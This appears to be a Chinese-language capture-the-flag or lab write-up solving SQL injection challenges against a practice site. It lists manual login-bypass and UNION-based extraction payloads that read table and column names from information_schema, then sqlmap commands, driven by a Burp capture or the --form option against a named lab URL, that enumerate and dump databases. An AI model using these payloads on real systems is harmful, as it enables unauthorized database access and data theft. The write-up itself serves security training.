题目1
使用手工注入
1、判断是否存在SQL注入
(1)admin'后直接使用-- qwe注释
(2)使用万能密码
admin ' or 1=1 -- qwe
SQL注入成功
2、判断字段数
输入admin' order by 3 -- qwe和admin' order by 4 -- qwe,只有order by 3的时候可以输出,则字段数是3
3、查找回显点
admiiin' union select 1,2,3 -- qwe
ps:由于网站输出会输出数据库最上面一行数据,与union select 后的数据和admin原本数据冲突,所以代码最头上的需要输出一个不存在的值
4、利用系统自带库查找数据表和字段
admin' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1-- qwe
查找到flag数据表
查找到flag字段
admin' union select 1,column_name,3 from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1-- qwe
5、查找数据
admin' union select 1,flag,3 from flag limit 1,1-- qwe,得到flag
题目二——使用sqlmap+burp
一、设置chorme插件SwitchySharp
http代理设置为本地127.0.0.1,端口自行设计
二、Burp中查看Proxy Listener
回显是127.0.0.1
三、开启抓包
在登录框随意输入内容,点击登录,Burp中抓取到数据包
四、使用sqlmap
(1)把Burp抓包的内容复制到sqlmap文件夹下的一个文本文档1.txt
ps:把需要知道的字段前添加*
(2)输入py -2 sqlmap.py -r 1.txt --level 3 --risk 2,确定查询信息
(3)查找数据库名
py -2 sqlmap.py -r 1.txt --dbs --level 3 --risk 2
(3)进入数据库,查看数据表
py -2 sqlmap.py -r 1.txt --D error --tables --level 3 --risk 2
(4)查看数据库内信息
py -2 sqlmap.py -r 1.txt --D error -T error_flag --dump --level 3 --risk 2
由于查询的error数据库中的flag都不是真的flag,我又去找了post_error库中的flag,方法同上,找到了flag
题目二——使用sqlmap的--form
(1)查看sql注入信息
py -2 sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-06/index.php --form --level 3 --risk 2
(2)查找数据库
py -2 sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-06/index.php --form --risk 2 --level 3 --dbs
剩下步骤和sqlmap+Burp方法一样